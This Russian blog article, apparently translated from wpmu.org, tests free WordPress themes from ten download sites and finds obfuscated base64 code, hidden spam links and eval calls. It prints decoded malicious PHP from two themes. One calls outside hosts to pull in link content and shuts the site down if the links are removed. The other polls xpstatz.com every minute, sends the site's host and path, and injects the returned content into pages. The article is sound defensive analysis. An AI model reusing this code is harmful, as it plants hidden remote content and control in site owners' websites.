Почему лучше не качать бесплатные темы WordPress с непонятных сайтов
Примечание: я не загружал ни одной темы на свой сервер. Вместо этого я использовал xampp с WordPress на локальном компьютере. Я не советую загружать темы с непонятных сайтов напрямую на свой сервер – мало ли, что в этих темах скрыто. К сожалению, скрыто в них много всего неприятного…
1. WordPressThemesBase
Первым в поисковой выдаче Google стоит сайт WordPress Themes Base. Кто-то упорно трудится над их SEO-показателями! Небольшая заметка в самом низу главной страницы сайта сообщает посетителям, что в отличие от остальных сайтов, предлагающих бесплатные темы для WordPress, темы от WordPress Themes Base являются самыми последними и свежими. Прекрасно, нет ничего лучше, чем новая, красивая тема!
Я решил скачать тему Prinz Branford Magazine. Уже на данном этапе я столкнулся с некоторыми проблемами. Branford Magazine – это тема выпущенная der Prinz. Вообще, есть несколько версий данной темы. Это либо старая версия, которая (насколько я могу судить) не работает с WP 3.0, либо Pro-версия, которая была выпущена не так давно. Таким образом, мы имеем дело либо с устаревшей темой, либо с копией Pro-темы.
Первое, что я сделал – это установил тему и пропустил ее через TAC (Theme Authenticity Checker).
Зашифрованный код найден! Первый же сайт в Google, и мы видим Base64. Ужасно… Base64 часто используется для скрытия вредоносного кода. Как мы видим, код находится в футере. Давайте посмотрим туда:
О да, стоит копирайт! Именно здесь и кроется Base64. Он сидит в коде футера:
Куча всякой хрени.
Вы можете декодировать данный base64-код двумя способами:
1. Вы можете попробовать удобный Otto Decoder.
2. Вы можете сделать это вручную – вам понадобится изменить eval() на echo(), чтобы увидеть то, что было скрыто.
Я решил выбрать для себя второй вариант. Замена eval() на echo() привела к следующему результату в футере темы:
Что такое? Минуту назад здесь стоял копирайт. А теперь здесь стоит какая-то ерунда «Free Anti-Virus Downloads»! Откуда это взялось? По-видимому, было скрыто в base64.
Вердикт
Я скачал две другие темы с этого сайта, и все они содержали в себе base64-код. Правда, стоит сказать, что Base 64 используется не только для простого скрытия ссылок. Также с его помощью можно прятать вредоносный код, который способен что-нибудь натворить на вашем сайте. Владелец сайта, на котором хранятся все эти «новые и свежие» темы, берет темы с официальных ресурсов и запихивает в них вредоносный base64-код. Я связался с Michael Oeser из der Prinz, который сообщил мне интересные сведения: оказывается, он уже пытался связаться с владельцем данного сайта, чтобы тот удалил тему, но никаких результатов это не принесло. Michael отправил в свой блог предупреждение об опасности, которую несет в себе загрузка пиратских тем. Он является разработчиком темы Branford Magazine, потому к его словам стоит прислушаться!
Избегаем данного сайта!
2. Free WordPress Themes
Еще один сайт с бесплатными WordPress-темами. Великолепно! Именно то, что мне нужно! Почему бы не получить что-нибудь качественное на халяву? Первая тема на сайте носит название BeautyStore. Мне нравятся магазины косметики и парфюмерии, потому я скачал ее себе. Давайте установим ее и пропустим через TAC.
Еще больше зашифрованного кода!
И снова в футере:
Не слишком красивый ход для темы, которая должна нести красоту людям. В футере находятся все виды закодированных функций. На сей раз, заменив все вхождения eval() на echo(), я ничего не добился. Я пропустил код через несколько декодеров, но это также не дало ясных результатов.
Exploit Scanner тоже начал ругаться на данный код.
Все предупреждения являются серьезными.
Вердикт
Второй сайт в Google, и еще больше base64. Я скачал некоторые другие темы с этого сайта – они не содержали в себе base64, однако в них были статичные ссылки. Я думаю, что этот сайт просто собирает все темы повсюду в сети. Правда, в прошлом случае у меня получилось декодировать base64. Сейчас же ничего не вышло. Обсуждения на форумах дали понять, что этот зашифрованный код вполне может использоваться для взлома. Я не обладаю продвинутыми техническими навыками, чтобы «распотрошить» этот код (как, впрочем, и большая часть пользователей WP). Потому вердикт однозначен:
Избегаем данного сайта!
3. Themes2WP
Бегло просмотрев темы на Themes2WP, я сразу же обнаружил для себя несколько интересных вариантов. Давайте, к примеру, остановимся на журнальной теме Gameliso, которая имеет приятную визуальную стилизацию.
После небольшой проверки, Theme Authenticity Checker нашел 5 статичных ссылок. Статичные ссылки – это нормально, верно? Разработчики вполне могли оставить обратные ссылки на свои сайты. Вот и сами ссылки:
Хм-м-м-м… Не знаю, как вы, но я сомневаюсь, что сайты знакомств и сайты по уходу за животными имеют какое-то отношение к разработке тем. Давайте более внимательно изучим код в footer.php:
Тут стоят ссылки с очень «полезным» сообщением: «Please do not edit following code, it may cause your site to stop working» (Пожалуйста, не редактируйте следующий код, иначе ваш сайт может перестать работать). Удаление ссылок может что-то нарушить. Смешно.
Подождите-подождите! Я удалил их, но сайт по-прежнему отлично работает!
В sidebar.php сидит еще одна ссылка:
Если мы проверим стили для ad_lnk, то увидим следующее:
Ничего себе! Ссылка, которую никто не увидит. Естественно, она может использоваться только для связи с разными сайтами.
Ссылки проверили. Теперь давайте запустим сканер эксплойтов.
Тема Gameliso помечена как содержащая в себе eval (), что может использоваться для выполнения вредоносного кода. Это не совсем то, что вам хотелось бы видеть в своей теме.
Вердикт
Темы, конечно, хорошие, но содержат в себе 5 обратных ссылок на разные сайты. К тому же, в теме содержится сообщение, что если вы удалите ссылки, то тема может перестать работать. Мы-то с вами знаем, что это банальный обман, однако новичок в WP может дважды подумать перед тем, как удалять их. Что касается функции eval, я не слишком хорошо разбираюсь в Javascript, чтобы сказать вам, используется ли в данном случае вредоносный код или нет.
Избегаем данного сайта!
4. FreeWPThemes
На данный момент, изучив три прошлых сайта, у меня уже сложилось четкое впечатление о том, что все темы плохи, кроме тех, которые находятся в хранилище WordPress.org. Какое же было мое удивление, когда я обнаружил, что ни одна тема с сайта FreeWPThemes не содержит в себе странных вложенных ссылок! Я скачал 5 разных тем с разных разделов сайта. И все они содержали в себе одни и те же ссылки:
Ни одна из данных ссылок не выглядит неуместной. Мои негативные мысли несколько развеялись.
Однако я решил дополнительно пропустить темы через Theme Check Plugin. Плагин проверяет тему, соответствует ли она последним стандартам. Вот что выдал плагин для темы Programme:
Куча ошибок! Там они идут и ниже, просто решил не делать скриншот на полстраницы.
Вердикт
Возможно, темы FreeWPThemes не соответствуют текущим стандартам кодирования тем, однако в них нет вредоносного кода и левых ссылок. Возможно, некоторые вещи у вас не будут работать так, как полагается, но зато в них не будет никакой скрытой ерунды.
Использовать темы можно, но с одним условием: обязательно проверяйте функциональность, которая вам требуется!
5. WordPress.org
Наконец-то! WordPress.org! Все мы знаем и любим этот сайт. Это самое безопасное место, откуда можно брать темы. Я думаю, единственная проблема с темами состоит в том, что они выглядят так, будто были сделаны в 1600-х годах. Некоторые из тем не слишком хорошо работают с WP 3.0. В самом низу записи я укажу дополнительные места, откуда можно брать бесплатные, качественные и проверенные темы.
Вердикт
Проверенный сайт, вызывающий доверие.
6. Themes.Rock Kitty
На этом сайте есть картинка кошки, играющей на гитаре. Меня очень умиляют такие вещи. Первая тема, которую я скачал, не имела в себе рекламных ссылок или скрытого кода. Вторая тоже не включала в себя левых ссылок. А вот с третьей вышел «швах»:
Очень много Base64!
Пришло время заменить eval() на echo()! После замены вылезло такое сообщение:
А вот и наши любимые ссылочки показались:
Exploit scanner выдал 17 серьезных предупреждений для данной темы. Поскольку мы нашли только 4 ссылки в самом низу страницы, можно предположить, что на самом деле этих спрятанных ссылок (и иного вредоносного кода) гораздо больше.
Вердикт
Используйте этот сайт очень осторожно! Если вы хотите загрузить тему на свой сервер, сначала установите ее на локальный компьютер и протестируйте. В итоге вы просто можете потерять свой сайт. Будьте аккуратны!
Избегаем данного сайта!
7. WP Themes Depot
Еще один веб-сайт, предлагающий самые свежие, красивые, качественные бесплатные темы для WP. Я решил загрузить самую популярную тему на сайте – Niferiti, которая имела 980 загрузок. Итог оказался плачевным: TAC обнаружил зашифрованный код.
После замены eval() на echo() я в которой раз получил сообщение:
Кто-то, очевидно, не хочет, чтобы я удалял данный код. Ссылки появились в футере:
Любые ссылки, скрытые в коде – не важно, какие они и куда ведут, – являются обманным маневром.
Вердикт
Очередной сайт с Base64 в коде. Я думаю, не нужно повторять, насколько он опасен. Разработчики могут включать ссылки на свои страницы. Правда, они не должны использовать для этого Base64! Никогда! Ни при каких условиях! Особенно учитывая тот факт, что этот код используется для скрытия всяких малварей.
Избегаем данного сайта!
8. WPRex
Я скачал 5 тем с этого сайта. Первые две содержали статичные спамерские ссылки. Остальные три содержали base64.
Это тема Pink Desire. Пришло время декодировать Base64 с помощью декодера.
Вот, что мы получим:
Куча зашифрованных ссылок.
Вердикт
Еще один сайт с самыми разными темами. Если вы решили скачать что-нибудь себе с этого сайта, обязательно пропустите тему через TAC. Вы можете также использовать некоторые декодеры, которые я перечислю в самом низу статьи. Эти декодеры помогут узнать вам, что скрывает в себе base64.
Избегаем данного сайта!
9. No Limits Web Design
Веб-сайт отметился несколько отличающимся от остальных ресурсов названием, что заставило меня усомниться в том, что он будет похож на то, что мы видели выше. Я решил загрузить с него одну из популярных тем – Dark Night. И опять же наткнулся на base64.
Также в коде я нашел строку, начинающуюся eval(str_rot13(. Вы можете декодировать ее самостоятельно.
Я получил следующие результаты:
Тут, в основном, содержится текст, связанный с лицензией. Однако, как только я поменял eval на echo, данный код появился в самом верху страницы:
function wp_code() { $default_link_text = "Default"; $link_host[] = "http://www.webspacehosting.com/wp_links/wp_links.php"; $link_host[] = "http://nolimitswebdesign.com/wp_links/wp_links.php"; $l = ""; foreach($link_host as $value) { if($file = @fopen($value."?url=".get_bloginfo('url'), "r")) { while (!feof ($file)) { $line = fgets ($file); $l .= $line; } fclose($file); break; } else { if ($value == end($link_host)) { $l=$default_link_text; } } } return $l; } function check_wp_code_sidebar() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { } else { $l=""; $f = dirname(__file__) . "/sidebar.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { die; } } } check_wp_code_sidebar();
Я попросил взглянуть на этот код одного из своих друзей, и он мне расшифровал его:
function wp_code() { $default_link_text = "Default"; $link_host[] = "http://www.webspacehosting.com/wp_links/wp_links.php"; $link_host[] = "http://nolimitswebdesign.com/wp_links/wp_links.php"; $l = ""; foreach($link_host as $value) { if($file = @fopen($value."?url=".get_bloginfo('url'), "r")) { while (!feof ($file)) { $line = fgets ($file); $l .= $line; } fclose($file); break; } else { if ($value == end($link_host)) { $l=$default_link_text; } } } return $l; } function check_wp_code_sidebar() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { } else { $l=""; $f = dirname(__file__) . "/sidebar.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { die; } } } check_wp_code_sidebar();
Тема получает ссылки из сайдбара, и если этих ссылок там нет, то она перестает работать. Отличный сайт.
Вот, что показал сканер эксплойтов:
Вердикт
Еще один сайт, использующий base64. К тому же, все очень сильно зашифровано.
Избегаем данного сайта!
10. Templates Browser
Мы с вами подошли практически к самому концу. Когда я искал данный сайт, то случайно наткнулся на статью, в которой говорилось, что этот сайт распространяет вредоносное ПО. Согласитесь, уже не самое лучшее начало. Я скачал тему Dropshadow с сайта Templates Browser, которая была разработана Brian Gardner, но которую уже нельзя загрузить с его сайта (вероятнее всего, поскольку она очень старая, и не совместима с WP 3.0). TAC смог найти только статичные ссылки:
Статичная ссылка в футере была закодирована с использованием PHP. Исходный код показал, что эта ссылка ведет на сайт казино. Однако в коде содержались и другие элементы, которые показались мне подозрительными, потому я попросил своего друга декодировать мне этот фрагмент:
1. get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_code'"); 3. $l_code = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_code'"); 4. 5. if (empty($l_time_code)) { 6. $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_code', '0', 'no')"); 7. $new_time_code = 0; 8. } else 9. $new_time_code = intval($l_time_code[0]); 10. 11. if (empty($l_code)) { 12. $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_code', ' ', 'no')"); 13. $new_l_code = ' '; 14. } else $new_l_code = $l_code[0]; 15. 16. if ( ( time() - $new_time_code ) >= 60 ) { 17. $R39C188653EA53DBD6E3F1D3915EDAC0C = "com"; 18. $R8088818E3E46A17C12F2EE42EB12D7AC = "1."; 19. $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz"; 20. $xps = "xps."; 21. $url = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C"; 22. $page = "/".$xps."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']); 23. 24. //1.xpstatz.com/xps.php?h=host&u=uri 25. 26. if (ini_get('allow_url_fopen')) { 27. $new_l_code = @file_get_contents("http://" . $url . $page); 28. } 29. else { 30. $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($url, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30); 31. 32. if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) { 33. @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60); 34. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $page HTTP/1.1rn"); 35. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $urlrn"); 36. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Closernrn"); 37. $new_l_code = ""; 38. while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) { 39. $new_l_code .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024); 40. } 41. $new_l_code = trim(strstr($new_l_code, "rnrn")); 42. } 43. @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38); 44. } 45. if ( strpos($new_l_code, '[/]') ) { 46. $new_time_code = time(); 47. $R54997E66281827CBC285597040554FCC = mysql_escape_string($new_l_code); 48. $wpdb->query("UPDATE $wpdb->options SET option_value=$new_time_code WHERE option_name='l_time_code'"); $wpdb->query("UPDATE $wpdb->options SET option_value='$R54997E66281827CBC285597040554FCC' WHERE option_name='l_code'"); 49. } 50. 51. } 52. if ( strpos($new_l_code, '[/]') ) { 53. $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($new_l_code, '[]') + 2; 54. $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($new_l_code, '[/]'); 55. echo substr($new_l_code, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57); 56. $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1; 57. } 58. ?>
Здесь происходит сохранение ссылок в wp_options и получение кода с внешнего сайта (код проверяется каждые 60 секунд). Затем он обновляет временные коды и ссылки в таблице опций перед выводом их в футере.
Иными словами, более сложный метод реализации того, что мы видели ранее.
Вердикт
Подозрительным выглядит уже тот факт, что другой сайт сообщает о присутствии вредоносного кода на Templates Browser. Еще более подозрительным является тот факт, что они распространяют старую тему, созданную текущим разработчиком WordPress. Весь этот запутанный код в футере – еще один вариант получить контроль над вашим сайтом.
Избегаем данного сайта!
Итог
Посетив десять первых сайтов в выдаче Google, мы пришли к выводу:
- Безопасных сайтов: 1
- Ненадежных сайтов: 1
- Опасных сайтов: 8
Восемь из десяти сайтов отличились тем, что их темы включали в себя base64. Обычный пользователь WordPress знает, что Google – не самое лучшее место для поиска тем, однако статистика, представленная на этих сайтах, говорит о том, что есть тысячи людей, которые скачивают эти темы и устанавливают их себе на сайт. Безусловно, большая часть пользователей, которые только начали работать с WordPress, будут вбивать запрос «free WordPress themes» в Google. В лучшем случае все эти люди будут распространять спамерские ссылки, сами того не зная.
Конечно, каталог официальных тем для WP не всегда может предложить действительно интересные и красивые темы. Потому я приведу список других (проверенных и безопасных) сайтов, которые могут помочь вам в выборе тем:
Бесплатные темы:
- Theme Shaper
- ThemeLab
- Theme Hybrid
- Arras Theme
- Smashing Magazine
- Clean & Simple Themes
Платные темы:
Легитимный сайт, предлагающий бесплатные темы для WordPress, не должен содержать слово «WordPress» в своем URL-адресе. WordPress является торговой маркой. Если сайт нарушает данное правило, то, скорее всего, и темы на нем будут не самыми качественными. Вот что сказано по данному поводу в WP:
«За исключением сайтов WordPress.com, WordPress.net, WordPress.org, WordPress.tv и WordPressFoundation.org, использование фразы wordpress в названии домена запрещено. Если вы нашли такой сайт, свяжитесь с его владельцем и скиньте ссылку на данную страницу».
Декодирование:
Если вы изучаете различные темы, вам могут понадобиться следующие инструменты для декодирования:
- $o= Otto’s decoder
- $_F=__FILE__:
- eval(gzinflate(base64_decode(‘…’)));:
- eval(str_rot13(‘ … ‘));
- Other codes
- Manual base64 decode
Полезные плагины:
Источник: wpmu.org